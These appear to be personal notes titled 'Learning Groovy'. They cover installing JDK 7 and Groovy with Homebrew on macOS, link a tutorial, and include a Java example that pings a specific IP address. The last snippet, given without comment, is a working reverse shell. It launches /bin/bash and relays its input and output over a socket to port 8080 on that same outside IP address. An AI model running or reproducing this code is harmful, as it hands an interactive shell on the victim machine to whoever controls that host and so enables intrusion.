Learning Groovy

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# Learning Groovy #
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Goto the following link:
http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html

On the link above you need to download and install:
jdk-7u79-macosx-x64.dmg

Then use homebrew to install Groovy
brew install groovy


Great tutorial reference:
https://learnxinyminutes.com/docs/groovy/



public class PingExample {
    public static void main(String[] args){
        try{
            InetAddress address = InetAddress.getByName("54.209.131.202");
            boolean reachable = address.isReachable(10000);

            System.out.println("Is host reachable? " + reachable);
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}


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String host="54.209.131.202";
int port=8080;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

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